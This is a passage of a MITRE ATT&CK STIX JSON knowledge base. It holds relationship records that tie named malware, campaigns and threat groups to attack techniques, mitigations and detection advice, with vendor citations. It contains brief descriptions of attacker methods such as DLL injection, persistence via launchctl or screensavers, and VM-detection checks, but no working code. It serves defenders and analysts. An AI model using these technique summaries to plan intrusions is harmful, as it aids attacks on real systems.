hardcoded domains as an input for domain generation algorithms.(Citation: Accenture Lyceum Targets November 2021)","modified":"2022-06-16T15:08:14.776Z","relationship_type":"uses","source_ref":"malware--aea6d6b8-d832-4c90-a1bb-f52c6684db6c","target_ref":"attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b4e77f71-970a-4b24-938f-0d50ecea1969","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","source_name":"Cylance Dust Storm"}],"modified":"2022-01-19T18:44:09.599Z","description":"[Misdat](https://attack.mitre.org/software/S0083) is capable of providing shell functionality to the attacker to execute commands.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b4eefafe-e3d6-4b25-8485-7022c00cc462","created":"2023-06-02T15:28:55.194Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-02T02:25:19.465Z","description":"If direct virtual machine connections are not required for administrative use, disable these connection types where feasible.","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--45241b9e-9bbc-4826-a2cc-78855e51ca09","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b4ef6c6e-d7aa-451a-b071-faf0138cfbff","type":"relationship","created":"2020-06-11T20:08:11.419Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky TajMahal April 2019","url":"https://securelist.com/project-tajmahal/90240/","description":"GReAT. (2019, April 10). Project TajMahal – a sophisticated new APT framework. Retrieved October 14, 2019."}],"modified":"2020-06-11T20:08:11.419Z","description":"[TajMahal](https://attack.mitre.org/software/S0467) has the ability to inject the LoadLibrary call template DLL into running processes.(Citation: Kaspersky TajMahal April 2019)","relationship_type":"uses","source_ref":"malware--b51797f7-57da-4210-b8ac-b8632ee75d70","target_ref":"attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b4f84fa2-5cca-4df3-ab7c-bce3c0e3ca18","created":"2023-09-29T18:37:35.725Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-29T18:37:35.725Z","description":"Monitor for downloaded malicious files, though developing rules for the different variants, with a combination of different encoding and/or encryption schemes, may be very challenging. Consider monitoring files downloaded from the Internet, possibly by LNK Icon Smuggling, for suspicious activities. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities.","relationship_type":"detects","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--887274fc-2d63-4bdc-82f3-fae56d1d5fdc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b4f8c479-aab5-481d-aa04-922677da108a","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Gazer Aug 2017","description":"ESET. (2017, August). Gazing at Gazer: Turla’s new second stage backdoor. Retrieved September 14, 2017.","url":"https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"}],"modified":"2020-03-17T01:22:43.697Z","description":"[Gazer](https://attack.mitre.org/software/S0168) can establish persistence through the system screensaver by configuring it to execute the malware.(Citation: ESET Gazer Aug 2017)","relationship_type":"uses","source_ref":"malware--76abb3ef-dafd-4762-97cb-a35379429db4","target_ref":"attack-pattern--ce4b7013-640e-48a9-b501-d0025a95f4bf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b4fad2c0-1407-4409-af5d-2cd098a1e536","created":"2023-03-26T22:01:21.533Z","revoked":false,"external_references":[{"source_name":"FireEye SUNBURST Backdoor December 2020","description":"FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021.","url":"https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"},{"source_name":"Cybersecurity Advisory SVR TTP May 2021","description":"NCSC, CISA, FBI, NSA. (2021, May 7). Further TTPs associated with SVR cyber actors. Retrieved July 29, 2021.","url":"https://www.ncsc.gov.uk/files/Advisory-further-TTPs-associated-with-SVR-cyber-actors.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T22:01:21.533Z","description":"(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: Cybersecurity Advisory SVR TTP May 2021)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b4ff0d25-3efb-4deb-898e-f25e18d4ae90","type":"relationship","created":"2021-11-12T19:30:36.102Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fortinet Diavol July 2021","url":"https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider","description":"Neeamni, D., Rubinfeld, A.. (2021, July 1). Diavol - A New Ransomware Used By Wizard Spider?. Retrieved November 12, 2021."}],"modified":"2022-03-09T18:35:37.265Z","description":"[Diavol](https://attack.mitre.org/software/S0659) has used several API calls like `GetLogicalDriveStrings`, `SleepEx`, `SystemParametersInfoAPI`, `CryptEncrypt`, and others to execute parts of its attack.(Citation: Fortinet Diavol July 2021)","relationship_type":"uses","source_ref":"malware--4e9bdf9a-4957-47f6-87b3-c76898d3f623","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b5023b20-4243-4686-8b51-429ae7ac73cb","type":"relationship","created":"2019-07-18T19:18:32.950Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-03-02T22:11:32.230Z","description":"Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b502aff3-128e-4715-a8bc-7b7b8fa0be74","type":"relationship","created":"2021-10-07T21:28:23.985Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"trendmicro xcsset xcode project 2020","url":"https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf","description":"Mac Threat Response, Mobile Research Team. (2020, August 13). The XCSSET Malware: Inserts Malicious Code Into Xcode Projects, Performs UXSS Backdoor Planting in Safari, and Leverages Two Zero-day Exploits. Retrieved October 5, 2021."}],"modified":"2021-10-07T21:28:23.985Z","description":"[XCSSET](https://attack.mitre.org/software/S0658) loads a system level launchdaemon using the launchctl load -w command from /System/Librarby/LaunchDaemons/ssh.plist.(Citation: trendmicro xcsset xcode project 2020)","relationship_type":"uses","source_ref":"malware--e14085cb-0e8d-4be6-92ba-e3b93ee5978f","target_ref":"attack-pattern--810aa4ad-61c9-49cb-993f-daa06199421d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b509e591-b086-4631-a9ba-5a5dc80de8d0","type":"relationship","created":"2019-01-29T18:44:04.927Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Zhang, X. (2018, April 05). Analysis of New Agent Tesla Spyware Variant. Retrieved November 5, 2018.","url":"https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html","source_name":"Fortinet Agent Tesla April 2018"},{"source_name":"Fortinet Agent Tesla June 2017","url":"https://www.fortinet.com/blog/threat-research/in-depth-analysis-of-net-malware-javaupdtr.html","description":"Zhang, X. (2017, June 28). In-Depth Analysis of A New Variant of .NET Malware AgentTesla. Retrieved November 5, 2018."},{"source_name":"Malwarebytes Agent Tesla April 2020","url":"https://blog.malwarebytes.com/threat-analysis/2020/04/new-agenttesla-variant-steals-wifi-credentials/","description":"Jazi, H. (2020, April 16). New AgentTesla variant steals WiFi credentials. Retrieved May 19, 2020."}],"modified":"2020-05-28T23:41:03.868Z","description":"[Agent Tesla](https://attack.mitre.org/software/S0331) can collect the system's computer name and also has the capability to collect information on the processor, memory, OS, and video card from the system.(Citation: Fortinet Agent Tesla April 2018)(Citation: Fortinet Agent Tesla June 2017)(Citation: Malwarebytes Agent Tesla April 2020)","relationship_type":"uses","source_ref":"malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b50a211b-1c54-4e55-9285-584f4e7f9bda","created":"2024-02-12T20:10:08.414Z","revoked":false,"external_references":[{"source_name":"Ensilo Darkgate 2018","description":"Adi Zeligson & Rotem Kerner. (2018, November 13). Enter The DarkGate - New Cryptocurrency Mining and Ransomware Campaign. Retrieved February 9, 2024.","url":"https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-12T20:10:08.414Z","description":"[DarkGate](https://attack.mitre.org/software/S1111) can be distributed through emails with malicious attachments from a spoofed email address.(Citation: Ensilo Darkgate 2018)","relationship_type":"uses","source_ref":"malware--6f6f67c9-556d-4459-95c2-78d272190e52","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b511900a-9bfe-4f8c-b1e2-b95669a5eaeb","type":"relationship","created":"2020-06-30T22:40:28.140Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET ComRAT May 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf","description":"Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."}],"modified":"2020-06-30T22:40:28.140Z","description":"[ComRAT](https://attack.mitre.org/software/S0126) can check the default browser by querying HKCR\\http\\shell\\open\\command.(Citation: ESET ComRAT May 2020)","relationship_type":"uses","source_ref":"malware--da5880b4-f7da-4869-85f2-e0aba84b8565","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b516dc1a-69c7-4dd2-935a-b0b1dcee150f","type":"relationship","created":"2019-04-17T19:18:00.398Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Remexi Jan 2019","url":"https://securelist.com/chafer-used-remexi-malware/89538/","description":"Legezo, D. (2019, January 30). Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities. Retrieved April 17, 2019."}],"modified":"2020-03-30T03:03:49.188Z","description":"[Remexi](https://attack.mitre.org/software/S0375) encrypts and adds all gathered browser data into files for upload to C2.(Citation: Securelist Remexi Jan 2019)","relationship_type":"uses","source_ref":"malware--ecc2f65a-b452-4eaf-9689-7e181f17f7a5","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b51d04ec-51da-4017-b806-210429592565","type":"relationship","created":"2020-12-17T15:24:12.401Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye ADFS","url":"https://www.troopers.de/troopers19/agenda/fpxwmn/","description":"Bierstock, D., Baker, A. (2019, March 21). I am AD FS and So Can You. Retrieved December 17, 2020."}],"modified":"2021-09-20T16:47:19.672Z","description":"Restrict permissions and access to the AD FS server to only originate from privileged access workstations.(Citation: FireEye ADFS)","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--1f9c2bae-b441-4f66-a8af-b65946ee72f2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b5234d9f-a581-4bcd-9441-2c1d111f3ce8","created":"2023-03-26T16:51:13.688Z","revoked":false,"external_references":[{"source_name":"FireEye SUNBURST Backdoor December 2020","description":"FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021.","url":"https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T16:51:13.688Z","description":"During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) downloaded additional malware, such as [TEARDROP](https://attack.mitre.org/software/S0560) and [Cobalt Strike](https://attack.mitre.org/software/S0154), onto a compromised host following initial access.(Citation: FireEye SUNBURST Backdoor December 2020)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b52fd457-405d-4cc3-b1f7-141ab6fbf04a","created":"2022-07-25T18:34:15.017Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelOne Aoqin Dragon June 2022","description":"Chen, Joey. (2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022.","url":"https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T02:21:13.774Z","description":"[Heyoka Backdoor](https://attack.mitre.org/software/S1027) can encrypt its payload.(Citation: SentinelOne Aoqin Dragon June 2022)","relationship_type":"uses","source_ref":"malware--dff90475-9f72-41a6-84ed-1fbefd3874c0","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b532ff8b-5bb2-4f62-9d4c-373ec92cfca0","created":"2022-09-08T15:13:28.326Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"McAfee Night Dragon","description":"McAfee® Foundstone® Professional Services and McAfee Labs™. (2011, February 10). Global Energy Cyberattacks: “Night Dragon”. Retrieved February 19, 2018.","url":"https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-15T20:17:03.162Z","description":"During [Night Dragon](https://attack.mitre.org/campaigns/C0002), threat actors used [PsExec](https://attack.mitre.org/software/S0029) to remotely execute droppers.(Citation: McAfee Night Dragon)","relationship_type":"uses","source_ref":"campaign--ae407e32-87e0-4d92-8705-3ae25d504d8a","target_ref":"tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b533e55c-77c7-48f8-baa7-c8724f90e483","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos GravityRAT","description":"Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.","url":"https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html"}],"modified":"2020-03-20T02:28:59.226Z","description":"[GravityRAT](https://attack.mitre.org/software/S0237) executes commands remotely on the infected host.(Citation: Talos GravityRAT)","relationship_type":"uses","source_ref":"malware--1d1fce2f-0db5-402b-9843-4278a0694637","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b5344ae6-8083-4a09-98f3-01c1491356dc","type":"relationship","created":"2019-09-23T13:23:14.337Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Tropic Trooper Mar 2018","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/","description":"Horejsi, J., et al. (2018, March 14). Tropic Trooper’s New Strategy. Retrieved November 9, 2018."}],"modified":"2019-09-23T13:23:14.337Z","description":"(Citation: TrendMicro Tropic Trooper Mar 2018)","relationship_type":"uses","source_ref":"intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924","target_ref":"tool--64764dc6-a032-495f-8250-1e4c06bdc163","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b5372961-d931-497e-8043-1bfa446f65d6","type":"relationship","created":"2021-10-15T20:31:12.330Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks GOLD KINGSWOOD September 2018","url":"https://www.secureworks.com/blog/cybercriminals-increasingly-trying-to-ensnare-the-big-financial-fish","description":"CTU. (2018, September 27). Cybercriminals Increasingly Trying to Ensnare the Big Financial Fish. Retrieved September 20, 2021."}],"modified":"2021-10-15T20:31:12.330Z","description":"[SpicyOmelette](https://attack.mitre.org/software/S0646) has been executed through malicious links within spearphishing emails.(Citation: Secureworks GOLD KINGSWOOD September 2018)","relationship_type":"uses","source_ref":"malware--599cd7b5-37b5-4cdd-8174-2811531ce9d0","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b5373794-5133-41b2-9050-228ebac75c92","created":"2020-09-23T13:28:47.328Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Symantec Seaduke 2015","description":"Symantec Security Response. (2015, July 13). “Forkmeiamfamous”: Seaduke, latest weapon in the Duke armory. Retrieved July 22, 2015.","url":"http://www.symantec.com/connect/blogs/forkmeiamfamous-seaduke-latest-weapon-duke-armory"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T20:18:58.445Z","description":"[APT29](https://attack.mitre.org/groups/G0016) has developed malware variants written in Python.(Citation: Symantec Seaduke 2015)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b53c54de-bbd9-4862-92e1-86b60091cb15","created":"2024-03-15T20:25:19.551Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Security Mispadu Facebook Ads 2019","description":"ESET Security. (2019, November 19). Mispadu: Advertisement for a discounted Unhappy Meal. Retrieved March 13, 2024.","url":"https://www.welivesecurity.com/2019/11/19/mispadu-advertisement-discounted-unhappy-meal/"},{"source_name":"SCILabs Malteiro 2021","description":"SCILabs. (2021, December 23). Cyber Threat Profile Malteiro. Retrieved March 13, 2024.","url":"https://blog.scilabs.mx/en/cyber-threat-profile-malteiro/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-18T18:37:30.236Z","description":"[Mispadu](https://attack.mitre.org/software/S1122) can run checks to verify if it is running within a virtualized environments including Hyper-V, VirtualBox or VMWare and will terminate execution if the computer name is “JOHN-PC.”(Citation: ESET Security Mispadu Facebook Ads 2019)(Citation: SCILabs Malteiro 2021)","relationship_type":"uses","source_ref":"malware--4e6464d2-69df-4e56-8d4c-1973f84d7b80","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--b5468863-0a1f-433a-99d6-8f94765107fc","created":"2022-03-25T21:08:24.992Z","x_mitre_version":"1.0","external_references":[{"source_name":"ESET Hermetic Wizard March 2022","url":"https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine","description":"ESET. (2022, March 1). IsaacWiper and HermeticWizard: New wiper and worm targetingUkraine. Retrieved April 10, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[HermeticWizard](https://attack.mitre.org/software/S0698) can execute files on remote machines using DCOM.(Citation: ESET Hermetic Wizard March 2022)","modified":"2022-04-11T00:10:13.180Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--ff7ed9c1-dca3-4e62-9da6-72c5d388b8fa","target_ref":"attack-pattern--2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b546ebe4-90cb-4e2f-92fe-2d1c019f44c4","created":"2023-07-12T20:50:49.299Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Crowdstrike TELCO BPO Campaign December 2022","description":"Parisi, T. (2022, December 2). Not a SIMulation: CrowdStrike Investigations Reveal Intrusion Campaign Targeting Telco and BPO Companies. Retrieved June 30, 2023.","url":"https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-22T19:34:53.459Z","description":"During [C0027](https://attack.mitre.org/campaigns/C0027), [Scattered Spider](https://attack.mitre.org/groups/G1015) used aws_consoler to create temporary federated credentials for fake users in order to obfuscate which AWS credential is compromised and enable pivoting from the AWS CLI to console sessions without MFA.(Citation: Crowdstrike TELCO BPO Campaign December 2022)","relationship_type":"uses","source_ref":"campaign--df74f7ad-b10d-431c-9f1d-a2bc18dadefa","target_ref":"attack-pattern--8a2f40cf-8325-47f9-96e4-b1ca4c7389bd","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b549bba1-8a99-44f7-8aae-cd48838608f3","created":"2023-08-18T20:52:38.129Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-30T19:52:35.597Z","description":"Limit access/authority to execute sensitive transactions, and switch to systems and procedures designed to authenticate/approve payments and purchase requests outside of insecure communication lines such as email.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--851e071f-208d-4c79-adc6-5974c85c78f3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b54d9a2c-2d93-41b1-b987-9520d2e22fbb","type":"relationship","created":"2022-03-30T14:26:51.873Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.873Z","description":"Monitor for changes made to processes that may inject malicious code into processes via thread local storage (TLS) callbacks in order to evade process-based defenses as well as possibly elevate 